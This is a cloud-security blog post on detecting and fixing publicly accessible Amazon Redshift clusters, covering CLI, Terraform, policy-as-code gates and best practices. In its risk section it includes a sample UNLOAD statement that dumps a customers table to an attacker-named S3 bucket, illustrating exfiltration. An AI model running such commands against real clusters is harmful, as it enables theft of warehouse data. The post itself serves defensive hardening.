Back to blog
AWSBest PracticesCloud SecurityDatabasesNetworking

Redshift Cluster Publicly Accessible: Risks and Remediation

Learn why a publicly accessible Amazon Redshift cluster is dangerous, how to lock it down with CLI and Terraform, and how to prevent exposure with CI gates.

TL;DR

This check flags Redshift clusters reachable from the public internet, which exposes your warehouse to credential brute-forcing and data theft. Set PubliclyAccessible to false, lock down the security group, and keep the cluster in private subnets.

A Redshift cluster is where your organization keeps its analytical crown jewels: aggregated sales data, customer behavior, financial records, and often raw events copied straight from production. When that cluster is publicly accessible, it has a routable public IP and can accept connections from anywhere on the internet. The only thing standing between an attacker and your data is the cluster's security group and a database password.

This check, redshift_public, looks at whether a cluster's PubliclyAccessible attribute is set to true. When it is, AWS assigns the cluster a public endpoint and routes traffic to it from the internet gateway, assuming the surrounding network permits it.


What this check detects

The check inspects every Redshift cluster in the account and reports any where the PubliclyAccessible flag is enabled. You can see this attribute yourself with a quick API call:

aws redshift describe-clusters \
  --query 'Clusters[*].{ID:ClusterIdentifier,Public:PubliclyAccessible,VPC:VpcId,Endpoint:Endpoint.Address}' \
  --output table

If Public reads True for any cluster, that cluster has a public-facing endpoint. Note that public accessibility alone does not guarantee reachability. The cluster also needs an inbound security group rule and a route to an internet gateway. But the flag is the first and most important condition, and it is the one this check targets because it is the part that turns a private resource into a public one.

Note: PubliclyAccessible controls whether Redshift creates an internet-routable endpoint for the cluster. With it disabled, the cluster only gets a private IP inside your VPC, and clients must connect from inside the network or through a bastion, VPN, or PrivateLink.


Why it matters

A public Redshift endpoint is a high-value target that anyone can reach. Here is what that actually exposes you to.

Credential brute-forcing and stuffing

Redshift uses password authentication by default. A public endpoint means attackers can hammer it with credential stuffing attacks using leaked password lists, or brute-force the admin user if you used a weak master password. Redshift does not rate-limit login attempts the way a web app might, so automated tooling can try thousands of combinations.

Mass data exfiltration

If an attacker authenticates, they do not steal one row at a time. A single UNLOAD command can dump entire tables to an attacker-controlled S3 bucket in minutes:

UNLOAD ('SELECT * FROM customers')
TO 's3://attacker-bucket/dump_'
IAM_ROLE 'arn:aws:iam::123456789012:role/redshift-role';

Because warehouses centralize data from many systems, one compromised cluster can leak data that originated across your entire estate.

It shows up in scans almost immediately

Public Redshift endpoints listen on port 5439 by default. Internet-wide scanners like Shodan and Censys index these within hours of exposure. You do not get a grace period of obscurity. Once the endpoint is public, it is being probed.

Warning: A common cause of accidental exposure is a security group with an inbound rule allowing 0.0.0.0/0 on port 5439, combined with the public flag. Either condition is risky on its own. Together they mean any host on the internet can attempt to connect.


How to fix it

The fix has two layers. First, disable public accessibility on the cluster. Second, tighten the security group so only known internal sources can reach port 5439. Do both.

Step 1: Disable public accessibility

Warning: Changing this setting reassigns the cluster's endpoint and briefly interrupts connectivity while the change applies. Schedule it during a maintenance window, and confirm your clients can reach the cluster privately before you flip the switch, or you will lock yourself out.

aws redshift modify-cluster \
  --cluster-identifier my-cluster \
  --no-publicly-accessible

The modification runs asynchronously. Watch the status until it returns to available:

aws redshift describe-clusters \
  --cluster-identifier my-cluster \
  --query 'Clusters[0].{Status:ClusterStatus,Public:PubliclyAccessible}'

Step 2: Lock down the security group

Find the cluster's security group, then remove any rule that opens port 5439 to the world. Replace it with a rule scoped to your VPC CIDR, a bastion's security group, or specific trusted ranges.

Danger: Revoking the wrong rule can cut off legitimate application traffic. Confirm which CIDR or security group your analytics tools and BI services connect from before you revoke anything. Add the replacement rule first, verify connectivity, then remove the open rule.

# Add a scoped rule allowing only your VPC
aws ec2 authorize-security-group-ingress \
  --group-id sg-0abc123 \
  --protocol tcp --port 5439 \
  --cidr 10.0.0.0/16

# Then revoke the open-to-world rule
aws ec2 revoke-security-group-ingress \
  --group-id sg-0abc123 \
  --protocol tcp --port 5439 \
  --cidr 0.0.0.0/0

Console steps

  1. Open the Amazon Redshift console and select your cluster.
  2. Choose Actions, then Modify publicly accessible setting.
  3. Set it to Disable and save.
  4. Under Properties, find the associated VPC security group and edit its inbound rules to remove any 5439 rule sourced from 0.0.0.0/0.

Fix it in Terraform

If you manage Redshift with infrastructure as code, set the attribute there so the change survives the next apply rather than drifting back:

resource "aws_redshift_cluster" "analytics" {
  cluster_identifier  = "my-cluster"
  publicly_accessible = false

  vpc_security_group_ids = [aws_security_group.redshift.id]
}

resource "aws_security_group" "redshift" {
  name   = "redshift-private"
  vpc_id = aws_vpc.main.id

  ingress {
    from_port   = 5439
    to_port     = 5439
    protocol    = "tcp"
    cidr_blocks = ["10.0.0.0/16"]
  }
}

Tip: If external partners or remote analysts genuinely need access, do not reopen the cluster to the internet. Use Redshift-managed VPC endpoints (PrivateLink) to share access across accounts and VPCs without ever assigning a public IP.


How to prevent it from happening again

Remediating one cluster is easy. Stopping the next one from being launched public is what actually keeps you safe. Push the control as far left as you can.

Block it in CI/CD with policy as code

Scan Terraform plans before they apply. A Checkov rule catches public Redshift clusters out of the box:

checkov -d . --check CKV_AWS_87

For OPA or Conftest, a Rego policy that fails the build on a public cluster looks like this:

package terraform.redshift

deny[msg] {
  resource := input.resource_changes[_]
  resource.type == "aws_redshift_cluster"
  resource.change.after.publicly_accessible == true
  msg := sprintf("Redshift cluster '%s' must not be publicly accessible", [resource.address])
}

Detect drift continuously

People still click buttons in the console, and CI gates do not catch manual changes. Set up an AWS Config managed rule, redshift-cluster-public-access-check, to flag any cluster that becomes public regardless of how it got that way. Wire it to an SNS topic or your ticketing system so the finding lands in front of someone.

Tip: Lensix runs the redshift_public check across all your accounts and regions on a schedule, so you catch a newly exposed cluster without standing up Config rules in every region by hand. Pair the continuous scan with a CI gate to cover both new infrastructure and runtime drift.

Default to private subnets

Place Redshift clusters in private subnets with no route to an internet gateway. Even if someone sets PubliclyAccessible to true by mistake, a cluster with no public route cannot receive a usable public endpoint. Network design becomes a second line of defense behind the cluster setting.


Best practices

  • Keep clusters private by default. There is rarely a legitimate reason for a data warehouse to be internet-facing. Treat any public Redshift cluster as an exception that needs justification, not the norm.
  • Use IAM authentication. Instead of static passwords, generate temporary credentials with GetClusterCredentials so there is no long-lived secret to brute-force or leak.
  • Encrypt at rest and in transit. Enable KMS encryption on the cluster and require SSL connections so intercepted traffic and stolen snapshots stay unreadable.
  • Turn on audit logging. Enable connection and user activity logging to S3 or CloudWatch. If something does get probed, you want the evidence.
  • Scope security groups tightly. Reference other security groups as sources rather than CIDR ranges where possible, so access follows your application topology instead of brittle IP lists.
  • Review snapshots too. A private cluster does not help if its snapshots are shared publicly. Audit snapshot sharing settings alongside cluster access.

Public exposure is one of the cheapest mistakes to make and one of the most expensive to clean up after a breach. Disable the flag, scope the security group, and gate it in CI. The combination keeps a single misconfiguration from turning your warehouse into a public download.